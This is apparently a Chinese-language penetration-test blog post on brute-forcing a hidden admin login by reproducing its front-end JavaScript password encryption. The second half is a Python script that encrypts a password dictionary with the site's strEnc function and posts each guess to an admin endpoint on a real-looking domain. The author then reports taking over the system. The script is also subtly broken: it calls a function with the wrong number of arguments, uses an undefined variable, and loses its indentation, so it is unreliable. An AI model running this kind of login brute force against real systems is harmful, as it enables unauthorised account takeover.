口令爆破之突破前端JS加密

0x00 前言

近期安全测试时发现一个系统前台使用了SSO,但是在比较隐蔽API中发现了后台的登录接口,该接口未使用SSO,同时没有图形验证码等校验,通过分析最终爆破进入后台。

0x01 确认攻击途径

通过信息搜集找到后台登录URL,由于URL比较敏感,这里以admin/login替代,尝试登录发现没有图形验证码等校验

通过BurpSuite抓包发现密码字段被加密了

根据回显不同,可进行口令爆破。

攻击思路:

  1. 通过回显不同获取存在的账号
  2. 分析加密方法
  3. 使用加密算法加密密码字典
  4. 脚本发包爆破

这里也可以使用Selenium一把梭暴力解决,但是不建议,如果实在没折的话再考虑此方法。

0x02 分析加密方法

加密参数为u_pwd,在html文件中搜索该特殊字符

可以看到加密算法是将u_pwdu_name拼接之后使用strEnc函数处理,然后再和一个随机16位字符串拼接。

测试加密算法

复制定位到的strEnc函数JS代码,以Chrome为例。F12 -> Sources -> Overrides -> 右键Snippets -> 粘贴

在新建的snippet上右键 > Run

输入密码测试

OK,加密代码找到了,运行对应的加密JS代码即可获取对应密码的加密字符串。

0x03 攻击测试

这里有多种途径,官方推荐PyV8、Node.js、PhantomJS、Nashorn,之前跟爬虫的大哥学习的时候发现他们好多使用的PyExecJS,所以也用这个试试,有兴趣的可以搜搜对应的优缺点。

安装Node.js之后pip install PyExecJS即可

脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import execjs
import json
def gen_encode_pass(user_name, user_password):
with open("/Users/w2n1ck/Desktop/des.js", "r") as f:
data_func = f.read()
ctx = execjs.compile(data_func)
up = ctx.call('strEnc', user_password, user_name)
rand = ctx.call('randomString', 16)
password = str(up) + str(rand)
print('encode: u_password:',password)
return password
_url = "https://admin.baidu.com:443/admin/login"
_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Referer": "https://admin.baidu.cn/admin/login", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "u_token": "", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}
_data = {"u_name": "admin"}
pass_dict = open('/Users/w2n1ck/Desktop/admin_pass.txt', 'r')
for p in pass_dict.readlines():
p = str(p.strip())
print("decode: " + p)
password = gen_encode_pass(p)
burp0_data['u_pwd'] = password
resp = requests.post(_url, headers=_headers, data=_data)
con = json.loads(resp.content)
if 'false' in str(con):
print(con)
pass_dict.close()

通过前期的确定存在的用户名进行社工口令针对性爆破

脚本启动,打卡,下班

第二天上班发现已有存在的账号密码,账号密码登录即可接管系统

参考文章:

https://juejin.im/post/5c8f15bde51d451d1118db99

大爷,赏个铜板呗!